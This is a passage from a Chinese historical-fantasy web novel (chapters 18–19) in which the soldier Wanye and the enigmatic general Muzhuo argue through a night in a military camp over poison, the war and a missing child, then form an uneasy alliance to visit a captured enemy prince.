她的发丝凌乱地垂落在肩头,几缕碎发黏在汗湿的脸颊上,显得愈发狼狈。
此刻,她面色苍白如纸,毫无血色的嘴唇干裂起皮,呼吸也变得微弱而急促,
每一次喘息都像是在艰难地对抗着命运的压迫。
然而,她的眼神却无比平静,没有丝毫面对死亡时的惊恐,
取而代之的是一种历经沧桑后的坦然与淡然,仿佛生死早已被她看穿,世间万物都无法再激起她内心的波澜。
她微微仰头,望向屋顶,微微上挑的眼角,带着一丝不易察觉的嘲讽,大有一种:
“你也就只能弄死我,没什么大不了的无所谓。”
疲惫之色在她脸上肆意蔓延,眼皮微微耷拉着,却依旧倔强地不肯合上。
执拗地与眼前的未知对视,不肯有半分示弱。
营帐内的烛火在幽暗中摇曳,豆大的火苗奋力跳动,却也只能照亮方寸之地。
微弱的光芒难以驱散营帐内的寒意。
风不知何时停歇,整个世界仿佛陷入了一种死寂般的宁静。
慕酌静静地站在桌旁,身姿挺拔如松,修长的手指随意地搭在桌沿。
他的脸庞被昏黄的烛火映照得忽明忽暗,神色复杂难辨,深邃的眼眸中像是藏着无尽的思绪。
宛楪倚在营帐的角落,目光紧紧锁住慕酌,他的怒火已熊熊燃烧到顶点,下一秒便会抽出利刃向自己砍来。
就在这剑拔弩张、气氛紧张到极点之时,慕酌薄唇轻启,声音竟意外地温润清和
如同山间潺潺流淌的清泉,打破了营帐内令人窒息的寂静。
“你想要找的那个孩子,或许我可以帮你潜入敌国的地盘。不然,你不会很着急吗?”
那声音婉转低回,好似裹挟着融融暖意,温润动听。
让宛楪瞬间恍惚,眼前这人仿佛不再是平日里那个周身散发着阴冷气息、令人胆寒的慕酌。
此刻的他,嗓音恰似春日暖阳下轻拂的微风,又似山间叮咚作响的清泉,是温润和煦的公子音,温柔得如同要将人溺毙其中。
宛楪下意识攥紧手指,指尖嵌入掌心,传来微微刺痛。
一阵寒意从背后悄然爬上脊背,她可不天真,绝不会轻易相信慕酌真会毫无保留地帮自己。
在她看来,这更像是一场精心策划的阴谋,前方必定挖好了深不见底的陷阱,就等着她傻傻地往里跳。
喉咙干涩,宛楪艰难地咽了咽口水,牙齿下意识咬住下唇,唇瓣被她咬得泛白。
她张了张嘴,嗫嚅着吐出一个字:“你……”却又不知该如何将心中的疑惑与警惕完整道出,满心的不安与揣测在胸腔翻涌。
前一刻认定这人定会取自己性命,那森冷的目光仿佛还在眼前,死亡的阴影近在咫尺。
可此刻,他却神色温和,轻言细语地给自己出谋划策。
这转变太过突然,宛如寒夜瞬间切换到盛夏,完全不合常理。
宛楪的内心不断翻涌,反复思量。
这正常吗?
绝对不正常!
这背后,究竟藏着怎样的算计?
那人再度开口,声音轻柔温和,每一个字都裹挟着恰到好处的关切,仿佛真的在设身处地为宛楪考虑。
那语调好似带着无形的蛊惑力,轻易便能将人拽入温柔的陷阱。
然而,宛楪却丝毫不敢放松警惕。
她竖起耳朵细听,每一个音符在她耳中都变了味,总觉得那温柔表象之下,藏着无尽的危险。
仿佛来自蛰伏在黑暗深处的猛兽,不知何时便会暴起扑来,以一种难以预料的方式,给予致命一击。
这种未知的恐惧,如同一股刺骨的寒意,顺着脊椎迅速蔓延至全身。
宛楪忍不住打了个冷颤,脊背发凉,可心中的惶恐却愈发浓烈。
声音就像是带着迷雾的催命符一样,穿透人的耳朵,剜进人的脑子。
生生地把里面所有的想法搅乱,变成血腥气的魔鬼。
“怎么样,六六校尉?”
慕酌的声音柔和又笃定,在静谧的营帐内轻轻回荡,
“我不清楚你和那个小孩子究竟有什么关系,但我真心愿意帮你。”
他微微前倾,脸上带着恰到好处的关切,双眼紧紧锁住宛楪,似乎在等待着她的回应。
这看似善意的话语,却像一把无形的枷锁,和那未知的恐惧一起,将宛楪紧紧束缚,
几乎要将她彻底吞噬。
宛楪只觉呼吸一滞,下意识不自在地甩了甩袖子,想要驱散周身那股黏
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腻的压迫感,却无济于事。
她轻咳一声,试图掩饰内心的慌乱,声音微微发颤:“我……你……难道就不好奇,我刚才为什么那么说吗?”
她抬起头,目光与慕酌交汇,眼中带着一丝挣扎与探究。
仿佛在试探眼前这个人究竟打着什么算盘。
“六六校尉不是早就说了吗?你见到了那些要杀我的人,还救了我的命。”
慕酌嘴角噙着一抹淡淡的笑意,声音温润悦耳,每个字都像是从琴弦上轻轻拨出,
“你都不好奇我为什么会被追杀,我又何必好奇你说那些话的意图?无非是想刺激我罢了。”
他微微歪头,目光始终落在宛楪身上,像是能看穿她心底的每一丝想法。
这清润的声音,此刻在宛楪耳中却宛如恶魔的低语,带着让人胆寒的魔力。她的双手不自觉地揪紧衣角,指节因为用力而泛白。
有些局促地抿了抿嘴,试图压抑住内心的不安。
转瞬之间,宛楪缓缓地弯下腰,头颅低垂,恨不得将自己彻底隐匿在那愈发浓重的阴影之中。
她的嘴唇微微开合,许久,才从干涩的喉咙里,艰难地挤出一个音节,“哦……”
那声音,带着难以掩饰的颤音,仿佛是从无尽的恐惧与迷茫中挤出来的。
轻得如同尘埃,却又似有千钧重,砸落在寂静的空气里,让人心头一紧。
宛楪的大脑像被一团乱麻死死缠住,无数念头横冲直撞,令她完全来不及梳理,更无法理解慕酌话里的深意。
不过就算自己绞尽脑汁去琢磨,也未必能参透其中玄机。
于是,她轻轻点了点头,动作僵硬又迟缓,像是在机械地完成一个指令,低声应道:
“嗯,谢谢。”
言罢,她如释重负般叹了口气,坐在椅子上。
目光游离,四处乱转,实在不知接下来还能说些什么。
最后,她的手不自觉地揪起衣袖,手指下意识地反复揉搓,一下又一下,动作急促且用力。
仿佛这样就能缓解内心的慌乱与不安。
直到眼前灰黑色的地板,突然变成自己的有些模糊的脸。
她抬起头,慕酌正温柔地看着她。
但那笑容还是让宛楪觉得有些刺骨的冷。
“给你水,那茶水里有毒,你不能喝,我给你准备了这些烧过的水,是外面井里的。”
宛楪咽了口水,实在不知道接下来这话怎么接,
“谢谢。”
说完又把头低下去,希望自己赶紧逃离这个尴尬的场面。
她真摸不清眼前这个人到底什么意图。
慕酌抬手,动作优雅地将水递向宛楪,目光始终落在她的手上。
直到宛楪稳稳接过,他才缓缓转身。
他的步伐沉稳而缓慢,每一步落下都不疾不徐,周身散发着成熟稳重的气息,举手投足间尽显谦谦君子的风范。
然而,他那看似温和的表象下,藏着的阴狠与毒辣却如影随形。
那是一种难以言喻的压迫感,仿佛隐藏在暗处的毒针,随时可能射出,让人神经紧绷。
旁人在他身边,总会不自觉地小心翼翼,不敢有丝毫懈怠。
一个不小心,就可能触碰到深处的危险底线。
慕酌踱步至桌旁,身姿优雅,伸手稳稳拿起一杯茶水,动作流畅自然,仿佛下一秒就要仰头一饮而尽。
“既然有毒,为什么还要喝?”
宛楪的声音打破了寂静,带着几分疑惑与不解。
闻声,慕酌的动作猛地顿住,那只端着茶杯的手停在半空,像是被时间定格。
他缓缓转过头,刹那间,宛楪捕捉到他脸上风云变幻的神情。
原本平静的面容,仿若被一场突如其来的风暴席卷,布满了复杂的情绪。
悲伤自他眼底翻涌而出,眉梢眼角,每一处细微都填满了落寞。
像是被世界遗弃的孤雁,满心的凄凉。
他的眼神空洞着,毫无焦距地望向远方,仿佛被无尽的痛苦紧紧缠绕,挣脱不得。
深处,藏着的绝望与挣扎,让人不忍直视。
此刻的他,脊背微微弓起,肩背轻轻颤抖,像是被寒冬的冷风肆意侵袭。
那颤抖由内而外,带着一种难以抑制的脆弱。
给人一种,哪怕只是一阵微风轻轻拂过,都能轻而易举地将他吹倒。
让他在这世间失去最后的支撑,下一秒如琉璃般轻易击碎,颓然倒下,徒留一抹破碎的残影。
18. 破碎的,可怜
屋内,昏暗的光线如浓稠的墨汁,肆意地泼洒在每一寸空间,给四周都蒙上了一层压抑的阴霾。
墙角的烛火在穿堂风的肆虐下,剧烈摇曳,发出“滋滋”的声响,好似随时都会熄灭,更添几分死寂与落魄。
“不然呢,你也知道,那些一心想杀我的人,却又要来救我。”慕酌的声音沙哑,带着几分自嘲,在这沉闷的环境里缓缓回荡。
“可若不是中了毒,体力严重不支,我又怎么可能濒死?他们又哪有机会来救我的命?”
他缓缓回头,动作迟缓得像是背负着千斤重担。
昏黄黯淡的烛火勾勒出他俊美的脸庞上,原本明亮的眼眸此刻却黯淡无光,蒙着一层浓重的雾气,盛满了痛苦与不甘。
慕酌回过头来,浮现的难以言喻的脆弱与哀伤,仿佛精致的瓷器上蔓延的裂痕。
“我不喝,也会有人强灌着我喝下去的,不如喝下去,这样还有解药。”
听到这话宛楪愣了一下,不知道该说什么安慰他,心脏泛起密密麻麻的疼。
微风轻拂,几缕发丝顺着脸部轮廓轻柔滑落,若有若无地扫过那双漂亮狐狸眼。
继而悠悠然落在眼角细腻的肌肤上。
引得慕酌不自觉地轻眨双眼,好似要将这一丝痒意眨去。
这样的景象让宛楪猛地一怔,一时间大脑空白,过了好一会儿才反应过来。
宛楪想要宽解一下他,但那破碎的样子只让人觉得那人已经碎到这个世界不容纳,慕酌这个人,是不是……
宛楪停顿下眨眼,那些在脑海里翻涌的话语,此刻像是被一团乱麻紧紧缠住,怎么也理不顺。
她偏过头,望向别处,完全不知道该如何打破这份令人窒息的沉默。
她下意识瑟缩了一下肩膀,脑袋也不由自主地低垂下去,眼前这幅犹如美人落泪般的场景。
不知为何,让她实在不忍直视。
她紧咬下唇,唇瓣被牙齿碾出一抹鲜艳的红,与她脸上因天热而泛起的淡淡红晕映衬,
“你……你为什么要顺着他们呢?就是……”
她嗫嚅着,声音里带着一丝颤抖,话到嘴边却又有些犹豫,似乎不知该如何将心中的疑问完整道出。
耳边先是传来一声轻轻的、仿若羽毛拂过的轻笑,带着些无辜和害怕。
“我也不知道。”
慕酌的眼尾泛红,透着几分病态的凄美。
宛楪本已微微抬起的头,被这场景生生逼了回去。
刚喝完水的嗓子不再那么沙哑,她还是下意识地咽了口唾沫,轻声说道,
“你没必要受这折磨。”
“折磨吗?”慕酌微微挑眉,眼神中透出几分迷茫与自嘲,嘴角勉强扯出一丝苦笑,声音空洞而低沉。
“你不觉得这是一种很好的锻炼方式吗?要死死不了,不断重复这样的过程,会把人变得坚韧。”
慕酌孑然伫立,周身似被一层冷寂的光晕笼罩,背影单薄。
那眉眼间散出的淡淡愁绪,恰似寒夜霜华,无端让人鼻尖泛酸,心生怜悯。
窗外,浓稠如墨的夜色正悄然褪去,晨曦的微光开始在天边若隐若现。
屋内,烛火在微风的裹挟下无助地摇曳,分不清究竟是即将燃尽,还是被那逐渐明亮的黎明天光抢去了存在的意义,只能勉强维持着微弱的火苗。
忽明忽暗,恰似风中残喘的生命。
“怎么可能!”
宛楪猛地抬起头,目光直直地撞进慕酌的眼底,全然不顾眼前那副美人破碎的模样。
此刻,心中的震惊已然盖过了一切,她的眼眸里闪烁着复杂的情绪。
有疑惑,更有按捺不住的愤怒。
她的声音因激动而微微颤抖,近乎嘶吼地喊道:“你是一个人啊!反复经历死亡,那是怎样的绝望深渊,你会被逼疯的!还谈什么变得坚韧。”
“你莫不是真的疯了,居然会相信这样荒诞不经的鬼话!”
宛楪猛地顿住话语,片刻后,声音带着压抑的愤怒,一字一顿道:“他就是在折磨你!”
这激昂铿锵的话语,仿若一道凌厉的闪电,直直劈进慕酌的眼底。
刹那间,他眼中原本盛满的破碎与空洞被瞬间驱散,取而代之的是不可置信的痛苦。
那痛苦如同被一把尖锐的利刃狠狠击碎,惊惶与悲戚化作碎裂的诧异。
他的嘴唇微微颤抖,似是想说些什么,却又被哽在了喉咙,徒留满心的震惊与茫然。
屋内,烛火如同迟暮老人的呼吸,越来越微弱。
昏黄的光芒虽仍在两人脸上投下淡淡的光影,却已是强弩之末,仅有似无。
与此同时,柔和的清晨阳光,像一层薄纱,在这温暖的日光中,宛楪不经意间抬眼,正好瞥见慕酌缓缓抬起头,那光线恰好勾勒出他眼尾的一抹红。
那红,像是被泪水浸过,又像是被痛苦灼烧,日光下,添了几分无助的脆弱的,凄美。
清晨,微风轻柔地拂过两人的发梢,细碎的金箔一样的日光,点缀在风中。
宛楪手持水盏,小口喝着水,一种难以名状的情绪在心底悄然蔓延。起初,她只觉得眼前这人神秘又古怪,可此刻,怜悯之情却毫无征兆地涌上心头。
清润的液体流滑过喉咙,携着独属于宛楪花的淡雅香气,清新又爽口。
她忍不住大口吞咽,虽说这杯水无法治愈本源的伤势,但着实让她精神了些许。喝完,她抬起手,用纤细的手指轻轻拭去嘴角残留的水汽。
指尖触碰到嘴角的凉意,让她稍稍回神,缓缓抬起头。
目光逐渐聚焦,定神看着眼前的这个人。
脸型硬朗,高挺的鼻梁,秀丽的眼睛,带着狐狸魅惑众生的扮相,却偏偏用它摆出一幅可怜的模样。
模糊间像是带着泪。
她的眼神闪烁不定,犹豫了好一会儿,才缓缓开口:“那花瓣是你放到井里的吧,或许你自己用,本就不需要借助那种药粉……”
话音落下,宛楪的脑海中不由自主地浮现出慕酌用完药粉后的惨状。
那时,他满脸痛苦,像是被恶鬼缠身,眉头紧紧拧在一起,仿佛要把眉毛生生揉进眼睛里。
嘴唇被牙齿死死咬住,咬到泛白,似乎下一秒,那嘴角就会渗出血丝,甚至带着被碾碎的碎牙。
想起这些,宛楪的心情变得复杂起来。
曾经,目睹那一幕时,她心里只有快意,觉得慕酌罪有应得,甚至有种大仇得报的畅快感。
可如今,再回忆起那个场景,心中竟泛起丝丝不忍,过往的怨恨,强烈的杀念,似乎也在这一刻悄然松动。
慕酌神情一滞,随即像是被抽走了所有力气,唇角扯出一抹带着委屈意味的苦笑,
声音微弱得如同风中残烛,“那药粉……用起来可疼了。”
那声音轻得好似稍不留意,就会被当作幻听忽略过去。
宛楪正喝着水,冷不防听到这话,握着水杯的手猛地一抖,喉咙像是被呛到,慌乱地放下水盏,急促地咳了两声,试图掩盖心底那没来由的颤动。
好不容易缓过神,她抬眼看向慕酌,语气不自觉带上几分急切,“你下次和我说,那花瓣虽然主要功效是解毒,但却可以……”
慕酌就那样静静地看着她,四周是一片死寂的灰白色调,毫无生气。
像是被抽去了所有色彩,他微微垂首,身形单薄,发丝凌乱地散落在额前。
好似一只迷失方向的困兽,在浓稠的黑暗里徘徊,满心都是茫然,却怎么也找不到出路。
愈发衬得他整个人破碎又孤单。
宛楪的话突然刹住,瞬间哽在喉咙,像是被一只无形的手扼住。
她恍然惊觉,自己竟差点被眼前这可怜兮兮的表象给迷惑了。
她在心底狠狠警醒自己,别忘了,眼前这人是何等残忍嗜杀,更别提,自己的真身如今还在他体内。
要死更是没那么简单。
可是,宛楪的脑海里又浮现出慕酌被抬回来时那触目惊心的画面:
慕酌心脏处被贯穿了一个大洞,鲜血淋漓,整个人气若游丝……
宛楪的心里就泛起一阵酸涩,下意识抿了抿唇,于心不忍接着想,他或许并不该死……
宛楪抬眸,轻叹一下,实在不知道对眼前这个奇怪又复杂人如何。
正在纠结间,脑海里突然闪过那些危险的过往,宛楪像是瞬间被一层冰霜包裹,神色瞬间恢复
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冷静,目光直直地盯着慕酌。
不疾不徐地说道:“看来,你这人倒也不是铁石心肠,心底还存着几分良善,或许是我之前误会你了,原以为你是个不通情理的人。”
宛楪眼神里多了几分探究,似乎想要透过这几句话,将慕酌看得更透彻。
慕酌的声音幽幽传来,其中似乎裹挟着一丝失落,宛楪却下意识地将其忽略,在她心里,这不过是慕酌又在盘算什么阴谋诡计。
“那花瓣能解毒,效果挺好,我看你很在乎那些人,就用花瓣救了他们,不然我本打算找医师来诊治。”
慕酌的声音依旧清润,可这话却像一把火,彻底点燃了宛楪的怒火。
“你的意思是,就因为我想让那些人活,你才去救?”
宛楪怒极反笑,“你们这些高高在上的人,不就该为底下的人考虑吗?难不成我若说想让他们死,你就要顺了我的意,还要把这残忍行径都归罪到我头上?”
“别太荒谬!”
“你身为上位者,救治他们本就是你的职责,谈什么看我在乎才去做,少在这里假惺惺!”
她胸脯剧烈起伏,目光如炬,毫不畏惧地直视着慕酌,字字句句都带着质问的锋芒。
宛楪的胸腔剧烈起伏,愤怒的火焰在心底熊熊燃烧,她瞪大双眼,满是不可置信,那种“这人简直不可理喻”的想法再次如潮水般涌上心头。
她就知道,这人刚才的所作所为不过是一场精心算计的计谋。
远处,慕酌像是被抽去了言语的能力,呆立在原地,手足无措,神情局促。
他张了张嘴,却发现根本不知道该如何解释,只能任由宛楪的斥责如利箭般射向自己。
“如果事情真是这样,”
宛楪深吸一口气,声音因为愤怒而微微颤抖,
“那我只希望战争能赶紧停止!看看这场战争都造成了什么?无数百姓流离失所、家破人亡,死伤无数。”
“可那些高高在上的掌权者呢?却躲在后方,安然享受着荣华富贵、寻欢作乐!”
“你们难道就没有一丝愧疚,没有一点怜悯之心吗?”她的目光如炬,直直地盯着慕酌。
似乎要将所有的愤怒与不满都通过这目光宣泄出来。
胸口剧烈起伏,她深吸一口气,努力平复着翻涌的情绪。
宛楪满心愤懑,她抬手揉了揉太阳穴,试图驱散满心的烦闷,“罢了,不与你说这些了。”
她声音里还带着几分疲惫与无奈,“我得去找阿乙,那孩子还小,不知道现在被这场混乱吓成什么样了,我实在放心不下,得赶紧去找找。”
说罢,也不等慕酌回应,转身便匆匆离去,脚步里满是焦急。
带着几分不想理人的愤慨。
夜色浓稠如墨,将两人紧紧包裹,屋内剑拔弩张的气氛却比这夜色更让人窒息。
整整一夜,他们你来我往,唇枪舌剑,激烈的争吵声在寂静夜里格外刺耳,每一句都像锋利的刀刃,带着十足的火气与不甘。
直到天光破晓,这场“战争”才勉强落下帷幕。
宛楪疲拿起水杯,仰头灌下一大口水,水流淌过干涩的喉咙,却冲不散她满心的复杂情绪。
她抬眸望向对面的人,只觉满心迷茫,实在理不清自己对眼前这个人究竟怀着怎样的情绪。
是愤怒、是不解,还是那些在争吵间隙悄然滋生的怜悯。
各种念头在宛楪的脑海里横冲直撞,搅成一团乱麻,剪不断,理还乱。
每一个想法都带着尖锐的棱角,相互碰撞摩擦,发出刺耳的声响。她只觉太阳穴突突直跳,满心疲惫,实在不愿再去触碰这些令人心烦意乱的思绪,只想寻一处安静角落,将这一切都抛诸脑后。
这次,慕酌并未像往常那般阻拦宛楪,只是静静地站在原地,周身散发着落寞孤寂的气息。
就在宛楪抬脚要离开时,他突然开口,声音低沉却清晰,宛如一记重锤,让宛楪的脚步瞬间顿住。
她缓缓转身,眼神锐利如鹰,直直地看向慕酌,目光中满是警惕与审视,似乎想要从他脸上寻出这话背后的深意。
“我有办法直接去北国皇城,停止战争,也可以把那个叫阿乙的人带回来。”
19. 难得的休战
晨曦破晓,微风裹挟着清晨独有的凉意,轻柔地拂过宛楪和慕酌的面庞。
宛楪的目光像是被磁石吸引,紧紧锁定在慕酌身上,眼中满是急切与难以置信,连眼都不舍得眨一下,
“你说什么?”
远处,慕酌的声音悠悠传来。他的身影从桌角那片灰暗的阴影中缓缓迈出,像是挣脱了黑暗的束缚。
随着他的靠近,清晨的第一缕阳光毫无保留地倾洒在他脸上,勾勒出他脸部坚毅又不失柔和的轮廓。
慕酌微微停顿,嗓音略带一夜争论后的微哑,却依旧裹挟着那独有的清润质感,沉稳地说道:“我有办法带你过去,你想结束战争,我也想。”
“我们走一趟。”
说罢,他抬起手,透着坚定与决然,不容置疑。
窗外,独属于秋天的鸟鸣悠悠传来,那是从寒冷之地远道而来的候鸟,它们身姿矫健,穿梭于澄澈的秋空。
或许只是途经此地,短暂歇脚后,便会再度振翅,朝着更温暖的远方迁徙。
风轻轻拂过宛楪的脸颊,带来丝丝痒意与凉意,
她的眉头轻皱,反复在心底咀嚼着慕酌的话,仍觉得此事太过离奇,难以相信。
良久,她才慢慢平复下翻涌的心情,深吸一口气,胸脯微微起伏,双手不自觉地攥紧衣角,指尖因用力泛白。
随后,她抬眸,眼中满是探寻与谨慎,轻声问道:“什么办法?”
宛楪的思绪如乱麻般纠结,脑海里不断盘旋着各种可能性。
她望着远处那片被秋意晕染的树林,眼神逐渐放空,试图从这纷繁的思绪中理出一丝头绪。
皇城的巍峨身影在她的想象中若隐若现。
悄无声息地进去,又怎样结束残酷的战争,这些难题像一座座大山。
宛楪的脑海如同一张被揉皱的纸,每一个试图捋清的念头,刚一冒头,就被无尽的迷茫狠狠拍落,搅成一团乱麻。
她望着眼前神色笃定的慕酌,却只看到迷雾重重。
就在这时,慕酌的声音骤然响起,打破了这份令人窒息的沉默。
那些话仿若一道惊雷,宛楪连去思考慕酌话语真假的念头都被这极度的震惊驱散得无影无踪。
双眼圆睁,微张着嘴,卷入了慕酌讲述的缜密计划里。
“我找到了敌国核心的人,准确的说就是那个国家的皇子,他潜进我军,妄想烧掉粮草,不过被识破抓起来了。”
慕酌的声音沉稳而自信,每一个字都清晰有力,仿佛在宣读一份胜利的宣告。
他身着一袭黑色夜行衣,布料上的纹理在清晨的微光下若隐若现,细密的针脚诉说着它的不凡。
清晨的阳光为他勾勒出一圈柔和的金边,让原本冷峻的轮廓都变得温柔起来。
眼眸深邃如渊,平静中透着决胜的底气,高挺的鼻梁下,薄唇轻启,有条不紊地阐述着计划。
那张俊美的脸在光影的交织下,线条更加分明,仿若被精心雕琢的艺术品,美得让人移不开眼。
整个画面既唯美又带着几分大战前的肃穆。
宛楪大脑一片空白,机械地接受这个听起来荒诞至极、仿若天方夜谭的消息。
她目光锁住慕酌,思绪不由自主地飘回到那天。
战场上,风沙漫天,喊杀声震耳欲聋,慕酌独身一人直面敌人,身姿挺拔如松,手中长刀挥舞得虎虎生风。
刀光剑影闪烁间,他毫无惧色,每一次出手都带着破釜沉舟的果敢。
纷飞的衣袂、扬起的尘土,伴随着呼呼作响的风声,一切都像是专门为他奏响的激昂战歌,衬托着他奋勇拼杀的不羁与豪迈。
那宛如天神降临般的模样,就那样深深镌刻在宛楪的视网膜上。
而此刻,眼前沐浴在晨光下的慕酌,周身被镀上一层暖融融的金色,原本凌厉的眉眼也变得柔和起来,带着几分温润儒雅。
那张潇洒肆意的脸与记忆中战场上的身影逐渐重合,宛楪看着看着,只觉心中五味杂陈。
有对他英勇的钦佩,有对这惊人消息的震撼,有对这个人思考到是为何的复杂。
那张潇扬肆意的脸与眼前这张晨光下显得柔和的俊美的脸逐渐重合。
宛楪的目光紧紧追随着慕酌的身影,心中泛起层层涟漪,那战场上浴血奋战的场景愈发清晰。
黄沙漫天,喊杀声震得人耳鼓生疼。
那个在战场上拼命杀敌、孤军对抗敌军的勇士,就是眼前的人。
慕酌。
这么想着,宛楪的心猛地颤动了一下,像是被一只无形的手轻轻揪住。
她垂下眼眸,掩盖住眼中那一闪而过的异样情绪,随后不自在地扭过了头,了。
“那很厉害,你需要我做什么,和我说一声就行。”
宛楪努力让自己的声音听起来镇定自若,微微抿了抿唇。
她顿了顿,深吸一口气,鼓起勇气再次看向慕酌,目光中带着一丝审视,
“希望你这次不是在骗我,我可以和你走这一趟,不过希望你最好真的是这么想。”
她下意识地揉紧衣角,眼神里既有对未知前路的担忧,又有对慕酌的一丝期许。
宛楪一想到慕酌过往的行事风格,心中警铃大作。
暗自提醒自己务必冷静,不可掉以轻心,一定要时刻保持警惕。
这么想着,她的神色渐渐平静下来,目光中多了几分审视与戒备,直视着慕酌,开口问道:
“敌国的皇子,会那么蠢,跑到这里,还好巧不巧的让你抓住了?”
说话间,她微微眯起眼睛,试图从慕酌的表情里捕捉到一丝破绽。
慕酌闻言,嘴角上扬,露出一抹好看的笑容,连带着垂眉都显得格外温柔。
他毫不回避宛楪的目光,眼中噙着得意张扬的笑意,笃定地回应:“是,就是那么,蠢。”
那笑容就像春日暖阳,带着不容置疑的自信。
或许是被这轻松的氛围感染,又或许是两人刚刚达成暂时合作,宛楪紧绷的神经渐渐放松,眉目也随之舒展。
神态就像在进行一场家常闲聊,“那你怎么抓住的,不会是因为他太蠢,主动送上门让你抓吧?”
她歪着头,眼中闪过一丝狡黠,嘴角微微勾起。
对面传来慕酌懒洋洋的笑声,“那倒不是,他以为我认不出来,但是粮草是军中重要的部分,我根本没有在粮草的地方放置,转到地窖了。”
说到此处,他顿了顿,轻轻嗤笑一声,脸上满是不屑,
“因为他们什么事情都可能做得出来,明火燎原,尸瘟遍地,不知道从哪来的病菌,防着点总是好的。”
“病菌?”宛楪满脸疑惑,微微蹙起眉头,眼睛里写满了不解,追问道,
“那是什么?”
她下意识地向前倾身,想要探寻更多信息。
“不知道。”慕酌无奈地叹了一口气,眼神中满是疲惫与懊恼,
“不知道他们从哪里弄出来的,南国没有记载的东西,着实可恨,没有根源,就会让人痛不欲生。这种不知道从哪里来的东西,不止是让人恐惧,更是让南国如今的局面,雪上加霜。”
他微微低下头,脸上写满了无奈,但是平静地似乎看出出什么悲痛。
“南国如今的局面,难道不是你们这些上位者不作为?”
宛楪环抱双臂,嘴角一撇,脸上露出一丝嘲讽的神情。她轻轻靠在桌子上,有一下没一下地晃着腿,发丝随着她的动作轻轻飘动。
风声紧张地穿行而过,像是在诉说着这个秋天里不为人知的故事,为这场对话增添了几分凝重的氛围。
秋天像是一位脚步匆匆的旅人,晨曦破晓之际,清晨便迫不及待地降临。
天边泛起鱼肚白,丝丝缕缕的微光从淡薄云层中透出来,温柔地洒向大地。
风,带着独属于秋日的干爽与凉意,悠悠地穿梭在营帐间,像是一双轻柔的手。
撩动着军旗,旗帜猎猎作响,又俏皮地钻进士兵们的营帐,轻轻抚过他们的脸庞,唤醒沉睡中的人。
士兵们陆续从睡梦中清醒,先是几声慵懒的哈欠。
随后,营地像是被按下播放键,热闹起来。有人在收拾行装,金属碰撞声清脆。
有人在打水,还有人在交谈,粗犷的笑声和话语声交织在一起。
炊火燃起,袅袅炊烟升腾,饭菜香气弥漫开来,与清晨的凉意混合,烟火气息愈发浓郁。
营地逐渐鲜活,实实在在变成人生活的一部分。
慕酌深吸一口气,修长的手指轻轻抚平衣袍上的褶皱,动作优雅而利落。
随后,他缓缓起身,身姿挺拔如松,黑色的衣袍如流动的墨汁。
随着他的动作,衣摆末端在微风中小幅度摆动,仿佛被赋予了生命,划出一道优美的小弧线。
“走吧,我带你去看看那个你说‘愚蠢’的皇子,殿下。”
他的声音低沉而富有磁性,微微偏头,目光带着几分深意看向宛楪,眼神里闪过一丝不易察觉的戏谑。
宛楪先是一怔,看着他一步步迈向未知的方向,直到人影从眼前消失。
她猛地反应过来,迅速转身,脚下的靴子在地面上踏出声响,快步追了上去。
发丝在风中肆意飞舞,几缕碎发贴在她脸颊上,她的双眼坚定地凝视着前方慕酌的背影。
心中是对即将揭开的秘密的好奇与忐忑。
士兵们逐渐起身,有的开始晨练,有的忙着打饭。
这样的场景在以前是从未出现过的。宛楪刚来时,那些文官恨不得这些士兵不食谷物、不饮水源,对他们百般刁难。
然而如今,一切已然不
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同。
宛楪望着前方稳步前行的慕酌,目光紧锁在那袭黑色衣袍之上。
衣袍紧贴在他身上,勾勒出有些纤细却不失挺拔的身形,这看似单薄的身躯,却像是藏着无尽的能量。
她的思绪瞬间被拉回那个混乱的场景,鲜血染红了土地,文官们横七竖八地倒在地上,生命的气息迅速消散。
那些曾经在朝堂上慷慨陈词、挥斥方遒的人,如今却成了无人问津的尸体。
他们的面容早已模糊,宛楪却始终记得他们眼中的恐惧与不甘。
而这一切的始作俑者,就是眼前这个背影看似温和,实则手段狠辣的人。
如今,那些尸体不知被埋在何处,或许是荒郊野外,或许是被草草掩埋在某个角落。
风中摇曳的荒草,可能会触碰到,像是在为这片土地上,遗忘的,早已没了生气的生命默哀。
腐烂着,无人凭吊,无人缅怀……
宛楪的眼神逐渐黯淡,心中五味杂陈,有愤怒,有悲哀,更多的是对世事无常的无奈。
她目光依旧盯着慕酌的背影,那背影此刻仿若一座难以翻越的高山。
隐藏着无数不为人知的秘密。
在这个世界上,每个人都在竭尽全力地活着,可似乎无一例外地深陷无边苦海。
宛楪望着前方的慕酌,复杂的情绪再度如潮水般涌上心头。脑海中不由自主地浮现出那一幕——
水中明明暗□□素,可他却像自我放逐般,毫不犹豫地喝了下去。
她满心困惑,究竟是怎样的缘由、怎样沉重的压力和绝望,才会驱使他如此胡霍霍自己?
周围的景致如幻灯片般迅速向后退去,道路蜿蜒曲折,像是一条没有尽头的丝带。
等回过神时,眼前的景象让宛楪猛地一怔。映入眼帘的,竟是当初她与慕酌初次相遇的营帐。
那时,这里还是一片修罗场,慕酌宛如杀神一般,冷酷地屠戮着那些文官。
如今,这里却摇身一变,成了关押士兵的地方,空气中依旧弥漫着一股难以消散的肃杀之气。
斑驳的血迹还残留在地面上,仿佛在无声诉说着曾经的惨烈,让宛楪的心中泛起一阵复杂的情绪。
恐惧、疑惑与震惊交织在一起。
宛楪的目光缓缓扫过四周,眼神里透着几分狐疑与探究,原本灵动的眼眸此刻被一层疑惑笼罩。
她在心里暗自思忖,要是单从防御的角度来看,之前关押自己的地方可比这里严密得多。
这个发现,让她心中涌起一阵别样的滋味。
难道在慕酌心中,自己竟然比关乎战局走向的敌国皇子还要危险?
想到这儿,宛楪忍不住轻轻嗤笑一声,笑声里带着些许自嘲。
不过,她并没有因此而生气,情绪反而被一种强烈的好奇所占据。
她的脑海中不断回想自己的记忆,是不是真的与慕酌有过交集,只是那段记忆不知为何被遗忘在了时光的角落里?
这个念头一旦生根,便迅速蔓延开来。
她的手指下意识地摩挲着衣角,微微蹙起眉头,细细回忆着过往的点点滴滴。
试图从那些模糊的记忆碎片里找到与慕酌有关的蛛丝马迹。
她是不是真的见过慕酌?
慕酌抬手,手指修长而有力,轻轻捏住营帐的帘子边缘,用力一拉。
刹那间,原本紧闭的营帐被打开,昏黄暗淡的灯光迫不及待地涌出来,像是急于逃离这个压抑的空间。
灯光下,可见无数灰尘在肆意飞舞,它们像是被惊扰的精灵,张牙舞爪地朝着人的鼻腔扑来,让人忍不住想要咳嗽。
宛楪下意识地抬手捂住口鼻,目光透过指缝打量着营帐内部,熟悉的陈旧气息扑面而来。
看着眼前这略显破败的场景,她在心底暗自感慨:还是和以前一样啊。
